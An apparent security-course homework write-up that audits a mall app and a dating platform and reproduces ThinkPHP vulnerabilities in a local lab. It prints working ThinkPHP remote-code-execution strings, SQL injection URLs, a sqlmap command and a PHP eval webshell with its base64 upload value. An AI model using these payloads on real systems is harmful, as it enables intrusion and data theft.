当前位置: 首页 > news >正文

C11期作业18(07.12)

目录

【漏洞编号】CNVD-2018-24942

一、对微商城系统进行代码审计,分析复现文件上传、sql注入等漏洞

文件上传漏洞:见C11期作业17(07.05) 的第四题

sql注入漏洞示例(goods.php)

 代码审计:id参数未做输入控制,且查询数据展示在页面(可使用union注入) ​

复现漏洞

 手工方式​

使用sqlmap​(更简单)

二、复习ThinkPHP框架基础知识,重点掌握url传参方式以及获取用户参数的写法

安装和运行:使用composer安装5.0.15版本

安装composer:通过phpstudy安装(软件管理页)​

打开composer​

配置composer镜像

创建tp5目录,composer命令行切换到此目录,执行命令(实际下载5.0的最新版本)

更新代码为5.0.15版本

phpstudy中配置站点,访问站点​

目录结构​

url传参方式(不考虑路由配置)

PATH_INFO⽅式​

兼容模式​

获取用户参数(这里使用更方便的方式:input助手函数)

函数声明:input('变量类型.变量名/修饰符','默认值','过滤规则')

变量类型​

修饰符(类型强转的过滤方式)​

过滤规则

默认值:参数不存在,或过滤失败时使用

三、复习ThinkPHP框架漏洞,重点掌握框架代码执行漏洞及工具使用,了解sql注入漏洞及常见不安全写法

代码执行漏洞

原理:ThinkPHP 底层没有对控制器名进⾏很好的合法性校验,导致在未开启强制路由的情况下,⽤户可以调用任意类的任意⽅法,最终导致 远程代码执⾏漏洞 的产⽣

漏洞利用方式(thinkphp5.0.15版本,测试可用的一些)

sql注入漏洞

框架漏洞

准备

insert方法注入

update方法注入

select方法注入

order by方法注入

聚合函数注入

常见不安全写法

四、搭建部署脱单交友平台并审计复现任意文件写入漏洞

平台搭建

获取源码

创建库表

创建站点​

配置伪静态

站点访问

复现漏洞

问题代码(base64Image函数):对文件后缀未验证,存在任意文件上传漏洞​

base64Image函数调用位置

漏洞利用

生成data参数值

上传php一句话木马文件,成功​

利用上传的一句话木马​

一、对微商城系统进行代码审计,分析复现文件上传、sql注入等漏洞

  1. 文件上传漏洞:见C11期作业17(07.05) 的第四题
  2. sql注入漏洞示例(goods.php)
    1.  代码审计:id参数未做输入控制,且查询数据展示在页面(可使用union注入) 
    2. 复现漏洞
      1.  手工方式
      2. 使用sqlmap​(更简单)
        python sqlmap.py -u http://mall.com/goods.php?id=-1 --batch

二、复习ThinkPHP框架基础知识,重点掌握url传参方式以及获取用户参数的写法

  1. 安装和运行:使用composer安装5.0.15版本
    1. 安装composer:通过phpstudy安装(软件管理页)
    2. 打开composer
    3. 配置composer镜像
      composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
    4. 创建tp5目录,composer命令行切换到此目录,执行命令(实际下载5.0的最新版本)
      composer create-project --prefer-dist topthink/think=5.0.15 .
    5. 更新代码为5.0.15版本
      1. 在composer.json ⽂件此处更改版本号为5.0.15
      2. 执⾏composer update
    6. phpstudy中配置站点,访问站点
  2. 目录结构
  3. url传参方式(不考虑路由配置)
    1. PATH_INFO⽅式
    2. 兼容模式
  4. 获取用户参数(这里使用更方便的方式:input助手函数)
    1. 函数声明:input('变量类型.变量名/修饰符','默认值','过滤规则')
    2. 变量类型
    3. 修饰符(类型强转的过滤方式)
    4. 过滤规则
      1. 支持:自定义的函数或方法、php内置的过滤规则,支持多个

      2. 设置

        1. 全局设置:配置文件/Request

        2. 获取变量时指定

    5. 默认值:参数不存在,或过滤失败时使用

三、复习ThinkPHP框架漏洞,重点掌握框架代码执行漏洞及工具使用,了解sql注入漏洞及常见不安全写法

  1. 代码执行漏洞
    1. 原理:ThinkPHP 底层没有对控制器名进⾏很好的合法性校验,导致在未开启强制路由的情况下,⽤户可以调用任意类的任意⽅法,最终导致 远程代码执⾏漏洞 的产⽣
    2. 漏洞利用方式(thinkphp5.0.15版本,测试可用的一些)
      1. post数据:_method=__construct&filter[]=system&method=get&get[]=calc
      2. ?s=index/think\config/get&name=database.username
      3. ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=sy
        stem&vars[1][]=calc
  2. sql注入漏洞
    1. 框架漏洞
      1. 准备
        1. 创建数据库和表
          create database tpdemo;use tpdemo;create table users(id int primary key auto_increment,username varchar(50) not null
          );
        2. 在database.php修改数据库连接相关参数
        3. 开启config.php 中的 app_debug 和 app_trace
      2. insert方法注入
        1. 原理:Builder 类的 parseData ⽅法中。由于程序没有对数据进⾏很好的过滤,将数据拼接进 SQL 语句,导致 SQL注⼊漏洞 的产⽣
        2. 漏洞版本:5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
        3. 代码示例
          class Vul
          {public function sql(){$username = Input('username/a');db('users')->insert(['username' => $username]);return 'Update success';}
          }
        4. 执行方式
          http://tp.com/index.php/test/vul/sql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
      3. update方法注入
        1. 原理:Mysql 类的 parseArrayData ⽅法中由于程序没有对数据进⾏很好的过滤,将数据拼接进 SQL 语句,导致 SQL注⼊漏洞 的产⽣
        2. 漏洞版本:5.1.6<=ThinkPHP<=5.1.7 (⾮最新的 5.1.8 版本也可利⽤)
        3. 代码示例
          class Vul
          {public function sql(){$username = Input('username/a');db('users')->where(['id' => 1])->update(['username' => $username]);return 'Update success';}
          }
        4. 执行方式(非本人安装版本未验证)
          ?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
      4. select方法注入
        1. 原理:Mysql 类的 parseWhereItem ⽅法中。由于程序没有对数据进⾏很好的过滤,直接将数据拼接进 SQL语句。再⼀个, Request 类的 filterValue ⽅法漏过滤 NOT LIKE 关键字,最终导致 SQL注⼊漏洞 的产⽣
        2. 漏洞版本:5.0.10
        3. 代码示例
          class Vul
          {public function sql(){$username = request()->get('username/a');$result = db('users')->where(['username' => $username])->select();var_dump($result);}
          }
        4. 执行方式(非本人安装版本未验证)
          ?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#
      5. order by方法注入
        1. 原理:Builder 类的 parseOrder ⽅法中。由于程序没有对数据进⾏很好的过滤,直接将数据拼接进 SQL语句,最终导致 SQL注⼊漏洞 的产⽣
        2. 漏洞版本:5.1.16<=ThinkPHP5<=5.1.22
        3. 代码示例
          class Vul
          {public function sql(){$orderby = request()->get('orderby');$result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();var_dump($result);}
          }
        4. 执行方式(非本人安装版本未验证)
          orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
      6. 聚合函数注入
        1. 原理:此漏洞存在于所有 Mysql 聚合函数相关⽅法。由于程序没有对数据进⾏很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注⼊漏洞 的产⽣
        2. 漏洞版本:5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25
        3. 代码示例
        4. 执行方式
          1. 版本:5.0.0~5.0.21 、 5.1.3~5.1.10
            http://tp.com/index.php/test/vul/sql?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1)+from+users%23
          2. 版本:5.1.11~5.1.25 (非本人安装版本未验证)
            ?id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1)+from+users%23
    2. 常见不安全写法
      1. 如where语句中存在输入变量,会存在union注入漏洞
      2. 示例代码:
        1. 示例一
        2. 示例二

四、搭建部署脱单交友平台并审计复现任意文件写入漏洞

  1. 平台搭建
    1. 获取源码
      1. 下载。下载地址:https://www.njymz.com/10096.html
      2. 解压下载文件,继续解压sql文件
      3. 将解压后sql文件放到www目录下,然后将www目录改名为you,复制you目录到phpstudy的www目录下,如下
    2. 创建库表
      1. 创建数据库:you
      2. 执行sql:在you数据库中执行上面的sql
      3. 修改数据库配置
    3. 创建站点
    4. 配置伪静态
      1. 不配置很多页面会访问异常

      2. 将public目录的.htaccess文件内容改为如下

        <IfModule mod_rewrite.c>RewriteEngine onRewriteCond %{REQUEST_FILENAME} !-dRewriteCond %{REQUEST_FILENAME} !-fRewriteRule ^(.*)$ index.php [L,E=PATH_INFO:$1]
        </IfModule>
    5. 站点访问
      1. 后管入口:输入tp.com,会跳转到后管登陆页面。账密:admin,123456
      2. 前台入口:tp.com/app
  2. 复现漏洞
    1. 问题代码(base64Image函数):对文件后缀未验证,存在任意文件上传漏洞
    2. base64Image函数调用位置
      1. 前台和后管各有一处

      2. 如下是前台调用的控制器和方法(参数是数组)

    3. 漏洞利用
      1. 生成data参数值
        1. 前面部分(固定部分+自定义文件扩展名):data:image/php;base64,
        2. 后面部分(文件内容)
          1. php一句话木马
            <?php @eval($_GET['cmd']); ?>
          2. base64加密为:PD9waHAgQGV2YWwoJF9HRVRbJ2NtZCddKTsgPz4=
      2. 上传php一句话木马文件,成功
      3. 利用上传的一句话木马
http://www.dtcms.com/a/336035.html

相关文章:

  • 跨越南北的养老对话:为培养“银发中国”人才注入新动能
  • Linux——一些常用的其他命令
  • 学习Python中Selenium模块的基本用法(5:程序基本步骤)
  • MySQL数据库备份与恢复
  • 《棒球百科》奥运会取消了棒球·野球1号位
  • 旋钮键盘项目---foc讲解(闭环位置控制)
  • Redis-plus-plus API使用指南:通用操作与数据类型接口介绍
  • TensorFlow|张量流
  • C/C++复习(四)
  • 【LeetCode】单链表经典算法:移除元素,反转链表,约瑟夫环问题,找中间节点,分割链表
  • Javascript面试题及详细答案150道之(106-120)
  • 深度学习——常见的神经网络
  • Tomcat 类加载器原理深度解析
  • PowerPoint和WPS演示让多个对象通过动画同时出现
  • 近期(2021-2025)发行的常用国军标GJB 整理,2021,2022,2023,2024,2025
  • 深入理解QFlags:Qt中的位标志管理工具
  • 本文将详细介绍如何构建一个功能完整的键盘测试工具,包含虚拟键盘、实时统计、打字练习等核心功能,无需任何后端服务或复杂依赖。
  • 无人机视角土地区域类型识别分割数据集labelme格式4904张7类别
  • 使用oradebug收集数据库诊断信息
  • 第3章 Java NIO核心详解
  • AOP配置类自动注入
  • Linux系统分析 CPU 性能问题的工具汇总
  • 【102页PPT】某著名企业智能制造解决方案及智能工厂产品介绍(附下载方式)
  • 19.5 「4步压缩大模型:GPTQ量化实战让OPT-1.3B显存直降75%」
  • 微网智能光储协调控制器方案
  • 【运维进阶】实施任务控制
  • 网络原理与编程实战:从 TCP/IP 到 HTTP/HTTPS
  • 基于Vue的个人博客网站的设计与实现/基于node.js的博客系统的设计与实现#express框架、vscode
  • Rust 入门 生命周期(十八)
  • 力扣3:无重复字符的最长子串